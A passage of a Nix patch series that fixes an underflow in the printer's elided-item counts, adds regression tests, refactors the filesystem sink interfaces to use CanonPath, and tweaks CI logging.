       error: cannot coerce a set to a string: { a = { a = 1; b = 2; c = 1; d = 1; e = 1; f = 1; g = 1; h = 1; }; b = { a = 1; «4294967289 attributes elided» }; }
```
---
 src/libexpr/print.cc                                         | 5 ++++-
 .../lang/eval-fail-bad-string-interpolation-4.err.exp        | 2 +-
 2 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc
index 10fe7923fe9..4e44fa721f9 100644
--- a/src/libexpr/print.cc
+++ b/src/libexpr/print.cc
@@ -345,11 +345,13 @@ class Printer
 
             auto prettyPrint = shouldPrettyPrintAttrs(sorted);
 
+            size_t currentAttrsPrinted = 0;
+
             for (auto & i : sorted) {
                 printSpace(prettyPrint);
 
                 if (attrsPrinted >= options.maxAttrs) {
-                    printElided(sorted.size() - attrsPrinted, "attribute", "attributes");
+                    printElided(sorted.size() - currentAttrsPrinted, "attribute", "attributes");
                     break;
                 }
 
@@ -358,6 +360,7 @@ class Printer
                 print(*i.second, depth + 1);
                 output << ";";
                 attrsPrinted++;
+                currentAttrsPrinted++;
             }
 
             decreaseIndent();
diff --git a/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp b/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp
index 6f907106b3f..b262e814dbc 100644
--- a/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp
+++ b/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp
@@ -6,4 +6,4 @@ error:
              |   ^
            10|
 
-       error: cannot coerce a set to a string: { a = { a = { a = { a = "ha"; b = "ha"; c = "ha"; d = "ha"; e = "ha"; f = "ha"; g = "ha"; h = "ha"; j = "ha"; }; «4294967295 attributes elided» }; «4294967294 attributes elided» }; «4294967293 attributes elided» }
+       error: cannot coerce a set to a string: { a = { a = { a = { a = "ha"; b = "ha"; c = "ha"; d = "ha"; e = "ha"; f = "ha"; g = "ha"; h = "ha"; j = "ha"; }; «8 attributes elided» }; «8 attributes elided» }; «8 attributes elided» }

From ce1dc87711e06d1b04e444e3215ad8d35f191abd Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 29 Jun 2024 14:01:10 +0200
Subject: [PATCH 447/528] Refactor: rename ValuePrinter::totalAttrsPrinted

Make it more distinct from the attrs printed of any specific
attrset.
---
 src/libexpr/print.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc
index 4e44fa721f9..5f6a08cfe0f 100644
--- a/src/libexpr/print.cc
+++ b/src/libexpr/print.cc
@@ -163,7 +163,7 @@ class Printer
     EvalState & state;
     PrintOptions options;
     std::optional<ValuesSeen> seen;
-    size_t attrsPrinted = 0;
+    size_t totalAttrsPrinted = 0;
     size_t listItemsPrinted = 0;
     std::string indent;
 
@@ -350,7 +350,7 @@ class Printer
             for (auto & i : sorted) {
                 printSpace(prettyPrint);
 
-                if (attrsPrinted >= options.maxAttrs) {
+                if (totalAttrsPrinted >= options.maxAttrs) {
                     printElided(sorted.size() - currentAttrsPrinted, "attribute", "attributes");
                     break;
                 }
@@ -359,7 +359,7 @@ class Printer
                 output << " = ";
                 print(*i.second, depth + 1);
                 output << ";";
-                attrsPrinted++;
+                totalAttrsPrinted++;
                 currentAttrsPrinted++;
             }
 
@@ -591,7 +591,7 @@ class Printer
 
     void print(Value & v)
     {
-        attrsPrinted = 0;
+        totalAttrsPrinted = 0;
         listItemsPrinted = 0;
         indent.clear();
 

From bfc54162405213b65f045a422fcb90ae62a18df1 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 29 Jun 2024 14:02:28 +0200
Subject: [PATCH 448/528] Refactor: rename ValuePrinter::totalListItemsPrinted

---
 src/libexpr/print.cc | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc
index 5f6a08cfe0f..74aa52d48d4 100644
--- a/src/libexpr/print.cc
+++ b/src/libexpr/print.cc
@@ -164,7 +164,7 @@ class Printer
     PrintOptions options;
     std::optional<ValuesSeen> seen;
     size_t totalAttrsPrinted = 0;
-    size_t listItemsPrinted = 0;
+    size_t totalListItemsPrinted = 0;
     std::string indent;
 
     void increaseIndent()
@@ -408,8 +408,8 @@ class Printer
             for (auto elem : listItems) {
                 printSpace(prettyPrint);
 
-                if (listItemsPrinted >= options.maxListItems) {
-                    printElided(listItems.size() - listItemsPrinted, "item", "items");
+                if (totalListItemsPrinted >= options.maxListItems) {
+                    printElided(listItems.size() - totalListItemsPrinted, "item", "items");
                     break;
                 }
 
@@ -418,7 +418,7 @@ class Printer
                 } else {
                     printNullptr();
                 }
-                listItemsPrinted++;
+                totalListItemsPrinted++;
             }
 
             decreaseIndent();
@@ -592,7 +592,7 @@ class Printer
     void print(Value & v)
     {
         totalAttrsPrinted = 0;
-        listItemsPrinted = 0;
+        totalListItemsPrinted = 0;
         indent.clear();
 
         if (options.trackRepeated) {

From b2c7f09b0a095ba0c0f3141a5734bf958d23b86a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sat, 29 Jun 2024 14:08:43 +0200
Subject: [PATCH 449/528] Fix underflow in Printer::printList

Analogous to 9b88bf8adf7 / three commits back
---
 src/libexpr/print.cc                                  |  6 +++++-
 .../lang/eval-fail-nested-list-items.err.exp          |  9 +++++++++
 tests/functional/lang/eval-fail-nested-list-items.nix | 11 +++++++++++
 3 files changed, 25 insertions(+), 1 deletion(-)
 create mode 100644 tests/functional/lang/eval-fail-nested-list-items.err.exp
 create mode 100644 tests/functional/lang/eval-fail-nested-list-items.nix

diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc
index 74aa52d48d4..2f377e5886e 100644
--- a/src/libexpr/print.cc
+++ b/src/libexpr/print.cc
@@ -405,11 +405,14 @@ class Printer
             output << "[";
             auto listItems = v.listItems();
             auto prettyPrint = shouldPrettyPrintList(listItems);
+
+            size_t currentListItemsPrinted = 0;
+
             for (auto elem : listItems) {
                 printSpace(prettyPrint);
 
                 if (totalListItemsPrinted >= options.maxListItems) {
-                    printElided(listItems.size() - totalListItemsPrinted, "item", "items");
+                    printElided(listItems.size() - currentListItemsPrinted, "item", "items");
                     break;
                 }
 
@@ -419,6 +422,7 @@ class Printer
                     printNullptr();
                 }
                 totalListItemsPrinted++;
+                currentListItemsPrinted++;
             }
 
             decreaseIndent();
diff --git a/tests/functional/lang/eval-fail-nested-list-items.err.exp b/tests/functional/lang/eval-fail-nested-list-items.err.exp
new file mode 100644
index 00000000000..90d43906165
--- /dev/null
+++ b/tests/functional/lang/eval-fail-nested-list-items.err.exp
@@ -0,0 +1,9 @@
+error:
+       … while evaluating a path segment
+         at /pwd/lang/eval-fail-nested-list-items.nix:11:6:
+           10|
+           11| "" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v)
+             |      ^
+           12|
+
+       error: cannot coerce a list to a string: [ [ 1 2 3 4 5 6 7 8 ] [ 1 «3 items elided» ] ]
diff --git a/tests/functional/lang/eval-fail-nested-list-items.nix b/tests/functional/lang/eval-fail-nested-list-items.nix
new file mode 100644
index 00000000000..af45b1dd49a
--- /dev/null
+++ b/tests/functional/lang/eval-fail-nested-list-items.nix
@@ -0,0 +1,11 @@
+# This reproduces https://github.com/NixOS/nix/issues/10993, for lists
+# $ nix run nix/2.23.1 -- eval --expr '"" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v)'
+# error:
+#        … while evaluating a path segment
+#          at «string»:1:6:
+#             1| "" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v)
+#              |      ^
+#
+#        error: cannot coerce a list to a string: [ [ 1 2 3 4 5 6 7 8 ] [ 1 «4294967290 items elided» ] ]
+
+"" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v)

From 72bb5301417b03f27b56677ace343289f6f40ce2 Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Sun, 30 Jun 2024 19:03:15 +0530
Subject: [PATCH 450/528] use `CanonPath` in `fs-sink` and its derivatives

---
 src/libfetchers/git-utils.cc          | 16 +++++++-------
 src/libstore/nar-accessor.cc          | 12 +++++------
 src/libutil/archive.cc                |  6 +++---
 src/libutil/file-system.cc            |  2 +-
 src/libutil/fs-sink.cc                | 31 +++++++++++----------------
 src/libutil/fs-sink.hh                | 28 ++++++++++++------------
 src/libutil/git.cc                    | 10 ++++-----
 src/libutil/git.hh                    |  8 +++----
 src/libutil/memory-source-accessor.cc | 12 +++++------
 src/libutil/memory-source-accessor.hh |  6 +++---
 src/libutil/tarfile.cc                |  7 +++---
 tests/unit/libutil/git.cc             | 14 ++++++------
 12 files changed, 73 insertions(+), 79 deletions(-)

diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc
index 2ea1e15ed8b..500064ceedc 100644
--- a/src/libfetchers/git-utils.cc
+++ b/src/libfetchers/git-utils.cc
@@ -851,10 +851,10 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink
     }
 
     void createRegularFile(
-        const Path & path,
+        const CanonPath & path,
         std::function<void(CreateRegularFileSink &)> func) override
     {
-        auto pathComponents = tokenizeString<std::vector<std::string>>(path, "/");
+        auto pathComponents = tokenizeString<std::vector<std::string>>(path.rel(), "/");
         if (!prepareDirs(pathComponents, false)) return;
 
         git_writestream * stream = nullptr;
@@ -862,11 +862,11 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink
             throw Error("creating a blob stream object: %s", git_error_last()->message);
 
         struct CRF : CreateRegularFileSink {
-            const Path & path;
+            const CanonPath & path;
             GitFileSystemObjectSinkImpl & back;
             git_writestream * stream;
             bool executable = false;
-            CRF(const Path & path, GitFileSystemObjectSinkImpl & back, git_writestream * stream)
+            CRF(const CanonPath & path, GitFileSystemObjectSinkImpl & back, git_writestream * stream)
                 : path(path), back(back), stream(stream)
             {}
             void operator () (std::string_view data) override
@@ -891,15 +891,15 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink
             : GIT_FILEMODE_BLOB);
     }
 
-    void createDirectory(const Path & path) override
+    void createDirectory(const CanonPath & path) override
     {
-        auto pathComponents = tokenizeString<std::vector<std::string>>(path, "/");
+        auto pathComponents = tokenizeString<std::vector<std::string>>(path.rel(), "/");
         (void) prepareDirs(pathComponents, true);
     }
 
-    void createSymlink(const Path & path, const std::string & target) override
+    void createSymlink(const CanonPath & path, const std::string & target) override
     {
-        auto pathComponents = tokenizeString<std::vector<std::string>>(path, "/");
+        auto pathComponents = tokenizeString<std::vector<std::string>>(path.rel(), "/");
         if (!prepareDirs(pathComponents, false)) return;
 
         git_oid oid;
diff --git a/src/libstore/nar-accessor.cc b/src/libstore/nar-accessor.cc
index cecf8148f45..33dde48e5bb 100644
--- a/src/libstore/nar-accessor.cc
+++ b/src/libstore/nar-accessor.cc
@@ -71,9 +71,9 @@ struct NarAccessor : public SourceAccessor
             : acc(acc), source(source)
         { }
 
-        NarMember & createMember(const Path & path, NarMember member)
+        NarMember & createMember(const CanonPath & path, NarMember member)
         {
-            size_t level = std::count(path.begin(), path.end(), '/');
+            size_t level = std::count(path.rel().begin(), path.rel().end(), '/');
             while (parents.size() > level) parents.pop();
 
             if (parents.empty()) {
@@ -83,14 +83,14 @@ struct NarAccessor : public SourceAccessor
             } else {
                 if (parents.top()->stat.type != Type::tDirectory)
                     throw Error("NAR file missing parent directory of path '%s'", path);
-                auto result = parents.top()->children.emplace(baseNameOf(path), std::move(member));
+                auto result = parents.top()->children.emplace(baseNameOf(path.rel()), std::move(member));
                 auto & ref = result.first->second;
                 parents.push(&ref);
                 return ref;
             }
         }
 
-        void createDirectory(const Path & path) override
+        void createDirectory(const CanonPath & path) override
         {
             createMember(path, NarMember{ .stat = {
                 .type = Type::tDirectory,
@@ -100,7 +100,7 @@ struct NarAccessor : public SourceAccessor
             } });
         }
 
-        void createRegularFile(const Path & path, std::function<void(CreateRegularFileSink &)> func) override
+        void createRegularFile(const CanonPath & path, std::function<void(CreateRegularFileSink &)> func) override
         {
             auto & nm = createMember(path, NarMember{ .stat = {
                 .type = Type::tRegular,
@@ -112,7 +112,7 @@ struct NarAccessor : public SourceAccessor
             func(nmc);
         }
 
-        void createSymlink(const Path & path, const std::string & target) override
+        void createSymlink(const CanonPath & path, const std::string & target) override
         {
             createMember(path,
                 NarMember{
diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc
index 22be392d465..3693a1ffd50 100644
--- a/src/libutil/archive.cc
+++ b/src/libutil/archive.cc
@@ -165,7 +165,7 @@ struct CaseInsensitiveCompare
 };
 
 
-static void parse(FileSystemObjectSink & sink, Source & source, const Path & path)
+static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath & path)
 {
     std::string s;
 
@@ -246,7 +246,7 @@ static void parse(FileSystemObjectSink & sink, Source & source, const Path & pat
                                 }
                             } else if (s == "node") {
                                 if (name.empty()) throw badArchive("entry name missing");
-                                parse(sink, source, path + "/" + name);
+                                parse(sink, source, path / name);
                             } else
                                 throw badArchive("unknown field " + s);
                         }
@@ -290,7 +290,7 @@ void parseDump(FileSystemObjectSink & sink, Source & source)
     }
     if (version != narVersionMagic1)
         throw badArchive("input doesn't look like a Nix archive");
-    parse(sink, source, "");
+    parse(sink, source, CanonPath{""});
 }
 
 
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index f75851bbd58..9307a0b533b 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -127,7 +127,7 @@ Path dirOf(const PathView path)
 }
 
 
-std::string_view baseNameOf(std::string_view path)
+std::string_view baseNameOf(PathView path)
 {
     if (path.empty())
         return "";
diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc
index a6a74373767..b4900cf8b31 100644
--- a/src/libutil/fs-sink.cc
+++ b/src/libutil/fs-sink.cc
@@ -14,7 +14,7 @@ namespace nix {
 
 void copyRecursive(
     SourceAccessor & accessor, const CanonPath & from,
-    FileSystemObjectSink & sink, const Path & to)
+    FileSystemObjectSink & sink, const CanonPath & to)
 {
     auto stat = accessor.lstat(from);
 
@@ -43,7 +43,7 @@ void copyRecursive(
         for (auto & [name, _] : accessor.readDirectory(from)) {
             copyRecursive(
                 accessor, from / name,
-                sink, to + "/" + name);
+                sink, to / name);
             break;
         }
         break;
@@ -69,17 +69,9 @@ static RestoreSinkSettings restoreSinkSettings;
 static GlobalConfig::Register r1(&restoreSinkSettings);
 
 
-void RestoreSink::createDirectory(const Path & path)
+void RestoreSink::createDirectory(const CanonPath & path)
 {
-    Path p = dstPath + path;
-    if (
-#ifndef _WIN32 // TODO abstract mkdir perms for Windows
-        mkdir(p.c_str(), 0777) == -1
-#else
-        !CreateDirectoryW(pathNG(p).c_str(), NULL)
-#endif
-        )
-        throw NativeSysError("creating directory '%1%'", p);
+    std::filesystem::create_directory(dstPath / path.rel());
 };
 
 struct RestoreRegularFile : CreateRegularFileSink {
@@ -90,13 +82,14 @@ struct RestoreRegularFile : CreateRegularFileSink {
     void preallocateContents(uint64_t size) override;
 };
 
-void RestoreSink::createRegularFile(const Path & path, std::function<void(CreateRegularFileSink &)> func)
+void RestoreSink::createRegularFile(const CanonPath & path, std::function<void(CreateRegularFileSink &)> func)
 {
-    Path p = dstPath + path;
+    std::cout << "SCREAM!!!====== " << dstPath / path.rel() << std::endl;
+    std::filesystem::path p = dstPath / path.rel();
     RestoreRegularFile crf;
     crf.fd =
 #ifdef _WIN32
-        CreateFileW(pathNG(path).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)
+        CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)
 #else
         open(p.c_str(), O_CREAT | O_EXCL | O_WRONLY | O_CLOEXEC, 0666)
 #endif
@@ -141,14 +134,14 @@ void RestoreRegularFile::operator () (std::string_view data)
     writeFull(fd.get(), data);
 }
 
-void RestoreSink::createSymlink(const Path & path, const std::string & target)
+void RestoreSink::createSymlink(const CanonPath & path, const std::string & target)
 {
-    Path p = dstPath + path;
+    std::filesystem::path p = dstPath / path.rel();
     nix::createSymlink(target, p);
 }
 
 
-void RegularFileSink::createRegularFile(const Path & path, std::function<void(CreateRegularFileSink &)> func)
+void RegularFileSink::createRegularFile(const CanonPath & path, std::function<void(CreateRegularFileSink &)> func)
 {
     struct CRF : CreateRegularFileSink {
         RegularFileSink & back;
@@ -163,7 +156,7 @@ void RegularFileSink::createRegularFile(const Path & path, std::function<void(Cr
 }
 
 
-void NullFileSystemObjectSink::createRegularFile(const Path & path, std::function<void(CreateRegularFileSink &)> func)
+void NullFileSystemObjectSink::createRegularFile(const CanonPath & path, std::function<void(CreateRegularFileSink &)> func)
 {
     struct : CreateRegularFileSink {
         void operator () (std::string_view data) override {}
diff --git a/src/libutil/fs-sink.hh b/src/libutil/fs-sink.hh
index ae577819a25..cf7d34d2273 100644
--- a/src/libutil/fs-sink.hh
+++ b/src/libutil/fs-sink.hh
@@ -28,17 +28,17 @@ struct FileSystemObjectSink
 {
     virtual ~FileSystemObjectSink() = default;
 
-    virtual void createDirectory(const Path & path) = 0;
+    virtual void createDirectory(const CanonPath & path) = 0;
 
     /**
      * This function in general is no re-entrant. Only one file can be
      * written at a time.
      */
     virtual void createRegularFile(
-        const Path & path,
+        const CanonPath & path,
         std::function<void(CreateRegularFileSink &)>) = 0;
 
-    virtual void createSymlink(const Path & path, const std::string & target) = 0;
+    virtual void createSymlink(const CanonPath & path, const std::string & target) = 0;
 };
 
 /**
@@ -46,17 +46,17 @@ struct FileSystemObjectSink
  */
 void copyRecursive(
     SourceAccessor & accessor, const CanonPath & sourcePath,
-    FileSystemObjectSink & sink, const Path & destPath);
+    FileSystemObjectSink & sink, const CanonPath & destPath);
 
 /**
  * Ignore everything and do nothing
  */
 struct NullFileSystemObjectSink : FileSystemObjectSink
 {
-    void createDirectory(const Path & path) override { }
-    void createSymlink(const Path & path, const std::string & target) override { }
+    void createDirectory(const CanonPath & path) override { }
+    void createSymlink(const CanonPath & path, const std::string & target) override { }
     void createRegularFile(
-        const Path & path,
+        const CanonPath & path,
         std::function<void(CreateRegularFileSink &)>) override;
 };
 
@@ -65,15 +65,15 @@ struct NullFileSystemObjectSink : FileSystemObjectSink
  */
 struct RestoreSink : FileSystemObjectSink
 {
-    Path dstPath;
+    std::filesystem::path dstPath;
 
-    void createDirectory(const Path & path) override;
+    void createDirectory(const CanonPath & path) override;
 
     void createRegularFile(
-        const Path & path,
+        const CanonPath & path,
         std::function<void(CreateRegularFileSink &)>) override;
 
-    void createSymlink(const Path & path, const std::string & target) override;
+    void createSymlink(const CanonPath & path, const std::string & target) override;
 };
 
 /**
@@ -88,18 +88,18 @@ struct RegularFileSink : FileSystemObjectSink
 
     RegularFileSink(Sink & sink) : sink(sink) { }
 
-    void createDirectory(const Path & path) override
+    void createDirectory(const CanonPath & path) override
     {
         regular = false;
     }
 
-    void createSymlink(const Path & path, const std::string & target) override
+    void createSymlink(const CanonPath & path, const std::string & target) override
     {
         regular = false;
     }
 
     void createRegularFile(
-        const Path & path,
+        const CanonPath & path,
         std::function<void(CreateRegularFileSink &)>) override;
 };
 
diff --git a/src/libutil/git.cc b/src/libutil/git.cc
index 8c538c98820..f23df566a1b 100644
--- a/src/libutil/git.cc
+++ b/src/libutil/git.cc
@@ -53,7 +53,7 @@ static std::string getString(Source & source, int n)
 
 void parseBlob(
     FileSystemObjectSink & sink,
-    const Path & sinkPath,
+    const CanonPath & sinkPath,
     Source & source,
     BlobMode blobMode,
     const ExperimentalFeatureSettings & xpSettings)
@@ -116,7 +116,7 @@ void parseBlob(
 
 void parseTree(
     FileSystemObjectSink & sink,
-    const Path & sinkPath,
+    const CanonPath & sinkPath,
     Source & source,
     std::function<SinkHook> hook,
     const ExperimentalFeatureSettings & xpSettings)
@@ -147,7 +147,7 @@ void parseTree(
         Hash hash(HashAlgorithm::SHA1);
         std::copy(hashs.begin(), hashs.end(), hash.hash);
 
-        hook(name, TreeEntry {
+        hook(CanonPath{name}, TreeEntry {
             .mode = mode,
             .hash = hash,
         });
@@ -171,7 +171,7 @@ ObjectType parseObjectType(
 
 void parse(
     FileSystemObjectSink & sink,
-    const Path & sinkPath,
+    const CanonPath & sinkPath,
     Source & source,
     BlobMode rootModeIfBlob,
     std::function<SinkHook> hook,
@@ -208,7 +208,7 @@ std::optional<Mode> convertMode(SourceAccessor::Type type)
 
 void restore(FileSystemObjectSink & sink, Source & source, std::function<RestoreHook> hook)
 {
-    parse(sink, "", source, BlobMode::Regular, [&](Path name, TreeEntry entry) {
+    parse(sink, CanonPath{""}, source, BlobMode::Regular, [&](CanonPath name, TreeEntry entry) {
         auto [accessor, from] = hook(entry.hash);
         auto stat = accessor->lstat(from);
         auto gotOpt = convertMode(stat.type);
diff --git a/src/libutil/git.hh b/src/libutil/git.hh
index a65edb964fd..2190cc5509c 100644
--- a/src/libutil/git.hh
+++ b/src/libutil/git.hh
@@ -64,7 +64,7 @@ using Tree = std::map<std::string, TreeEntry>;
  * Implementations may seek to memoize resources (bandwidth, storage,
  * etc.) for the same Git hash.
  */
-using SinkHook = void(const Path & name, TreeEntry entry);
+using SinkHook = void(const CanonPath & name, TreeEntry entry);
 
 /**
  * Parse the "blob " or "tree " prefix.
@@ -89,13 +89,13 @@ enum struct BlobMode : RawMode
 };
 
 void parseBlob(
-    FileSystemObjectSink & sink, const Path & sinkPath,
+    FileSystemObjectSink & sink, const CanonPath & sinkPath,
     Source & source,
     BlobMode blobMode,
     const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings);
 
 void parseTree(
-    FileSystemObjectSink & sink, const Path & sinkPath,
+    FileSystemObjectSink & sink, const CanonPath & sinkPath,
     Source & source,
     std::function<SinkHook> hook,
     const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings);
@@ -108,7 +108,7 @@ void parseTree(
  * a blob, this is ignored.
  */
 void parse(
-    FileSystemObjectSink & sink, const Path & sinkPath,
+    FileSystemObjectSink & sink, const CanonPath & sinkPath,
     Source & source,
     BlobMode rootModeIfBlob,
     std::function<SinkHook> hook,
diff --git a/src/libutil/memory-source-accessor.cc b/src/libutil/memory-source-accessor.cc
index b7207cffb9b..c4eee1031cf 100644
--- a/src/libutil/memory-source-accessor.cc
+++ b/src/libutil/memory-source-accessor.cc
@@ -124,9 +124,9 @@ SourcePath MemorySourceAccessor::addFile(CanonPath path, std::string && contents
 
 using File = MemorySourceAccessor::File;
 
-void MemorySink::createDirectory(const Path & path)
+void MemorySink::createDirectory(const CanonPath & path)
 {
-    auto * f = dst.open(CanonPath{path}, File { File::Directory { } });
+    auto * f = dst.open(path, File { File::Directory { } });
     if (!f)
         throw Error("file '%s' cannot be made because some parent file is not a directory", path);
 
@@ -146,9 +146,9 @@ struct CreateMemoryRegularFile : CreateRegularFileSink {
     void preallocateContents(uint64_t size) override;
 };
 
-void MemorySink::createRegularFile(const Path & path, std::function<void(CreateRegularFileSink &)> func)
+void MemorySink::createRegularFile(const CanonPath & path, std::function<void(CreateRegularFileSink &)> func)
 {
-    auto * f = dst.open(CanonPath{path}, File { File::Regular {} });
+    auto * f = dst.open(path, File { File::Regular {} });
     if (!f)
         throw Error("file '%s' cannot be made because some parent file is not a directory", path);
     if (auto * rp = std::get_if<File::Regular>(&f->raw)) {
@@ -173,9 +173,9 @@ void CreateMemoryRegularFile::operator () (std::string_view data)
     regularFile.contents += data;
 }
 
-void MemorySink::createSymlink(const Path & path, const std::string & target)
+void MemorySink::createSymlink(const CanonPath & path, const std::string & target)
 {
-    auto * f = dst.open(CanonPath{path}, File { File::Symlink { } });
+    auto * f = dst.open(path, File { File::Symlink { } });
     if (!f)
         throw Error("file '%s' cannot be made because some parent file is not a directory", path);
     if (auto * s = std::get_if<File::Symlink>(&f->raw))
diff --git a/src/libutil/memory-source-accessor.hh b/src/libutil/memory-source-accessor.hh
index c8f793922d6..cd5146c8913 100644
--- a/src/libutil/memory-source-accessor.hh
+++ b/src/libutil/memory-source-accessor.hh
@@ -81,13 +81,13 @@ struct MemorySink : FileSystemObjectSink
 
     MemorySink(MemorySourceAccessor & dst) : dst(dst) { }
 
-    void createDirectory(const Path & path) override;
+    void createDirectory(const CanonPath & path) override;
 
     void createRegularFile(
-        const Path & path,
+        const CanonPath & path,
         std::function<void(CreateRegularFileSink &)>) override;
 
-    void createSymlink(const Path & path, const std::string & target) override;
+    void createSymlink(const CanonPath & path, const std::string & target) override;
 };
 
 }
diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc
index f0e24e937cd..c7faedd1ec0 100644
--- a/src/libutil/tarfile.cc
+++ b/src/libutil/tarfile.cc
@@ -178,6 +178,7 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin
         auto path = archive_entry_pathname(entry);
         if (!path)
             throw Error("cannot get archive member name: %s", archive_error_string(archive.archive));
+        auto cpath = CanonPath{path};
         if (r == ARCHIVE_WARN)
             warn(archive_error_string(archive.archive));
         else
@@ -188,11 +189,11 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin
         switch (archive_entry_filetype(entry)) {
 
         case AE_IFDIR:
-            parseSink.createDirectory(path);
+            parseSink.createDirectory(cpath);
             break;
 
         case AE_IFREG: {
-            parseSink.createRegularFile(path, [&](auto & crf) {
+            parseSink.createRegularFile(cpath, [&](auto & crf) {
                 if (archive_entry_mode(entry) & S_IXUSR)
                     crf.isExecutable();
 
@@ -216,7 +217,7 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin
         case AE_IFLNK: {
             auto target = archive_entry_symlink(entry);
 
-            parseSink.createSymlink(path, target);
+            parseSink.createSymlink(cpath, target);
 
             break;
         }
diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc
index ff934c117b8..9454bb67556 100644
--- a/tests/unit/libutil/git.cc
+++ b/tests/unit/libutil/git.cc
@@ -67,7 +67,7 @@ TEST_F(GitTest, blob_read) {
         StringSink out;
         RegularFileSink out2 { out };
         ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob);
-        parseBlob(out2, "", in, BlobMode::Regular, mockXpSettings);
+        parseBlob(out2, CanonPath{""}, in, BlobMode::Regular, mockXpSettings);
 
         auto expected = readFile(goldenMaster("hello-world.bin"));
 
@@ -132,8 +132,8 @@ TEST_F(GitTest, tree_read) {
         NullFileSystemObjectSink out;
         Tree got;
         ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Tree);
-        parseTree(out, "", in, [&](auto & name, auto entry) {
-            auto name2 = name;
+        parseTree(out, CanonPath{""}, in, [&](auto & name, auto entry) {
+            auto name2 = std::string{name.rel()};
             if (entry.mode == Mode::Directory)
                 name2 += '/';
             got.insert_or_assign(name2, std::move(entry));
@@ -210,14 +210,14 @@ TEST_F(GitTest, both_roundrip) {
 
     MemorySink sinkFiles2 { *files2 };
 
-    std::function<void(const Path, const Hash &, BlobMode)> mkSinkHook;
+    std::function<void(const CanonPath, const Hash &, BlobMode)> mkSinkHook;
     mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) {
         StringSource in { cas[hash] };
         parse(
             sinkFiles2, prefix, in, blobMode,
-            [&](const Path & name, const auto & entry) {
+            [&](const CanonPath & name, const auto & entry) {
                 mkSinkHook(
-                    prefix + "/" + name,
+                    prefix / name,
                     entry.hash,
                     // N.B. this cast would not be acceptable in real
                     // code, because it would make an assert reachable,
@@ -227,7 +227,7 @@ TEST_F(GitTest, both_roundrip) {
             mockXpSettings);
     };
 
-    mkSinkHook("", root.hash, BlobMode::Regular);
+    mkSinkHook(CanonPath{""}, root.hash, BlobMode::Regular);
 
     ASSERT_EQ(*files, *files2);
 }

From 39154ed9bed23cf576c1681068677814d91496c6 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 30 Jun 2024 17:10:34 +0200
Subject: [PATCH 451/528] ci.yml: Put installer cachix in verbose mode

Maybe it prints something, as a workaround for https://github.com/cachix/cachix-action/issues/153,
which might explain our flaky installer_test.
---
 .github/workflows/ci.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 103ce4ff472..c4939dd11fb 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -96,6 +96,7 @@ jobs:
         name: '${{ env.CACHIX_NAME }}'
         signingKey: '${{ secrets.CACHIX_SIGNING_KEY }}'
         authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
+        cachixArgs: '-v'
     - id: prepare-installer
       run: scripts/prepare-installer-for-github-actions
 

From 5a16bf86c518037f05bffbee0d73d715b672908b Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Sun, 30 Jun 2024 17:22:04 +0100
Subject: [PATCH 452/528] doc: fix `directory` definition in nix-archive.md
 (#10997)

* doc: fix `directory` definition in nix-archive.md

Before the change the document implied that directory of a single entry
contained entry:

    "type" "directory" "type" directory" "entry" ...

After the change document should expand into:

   "type" "directory" "entry" ...

Co-authored-by: John Ericson <git@JohnEricson.me>
---
 doc/manual/src/protocols/nix-archive.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/protocols/nix-archive.md b/doc/manual/src/protocols/nix-archive.md
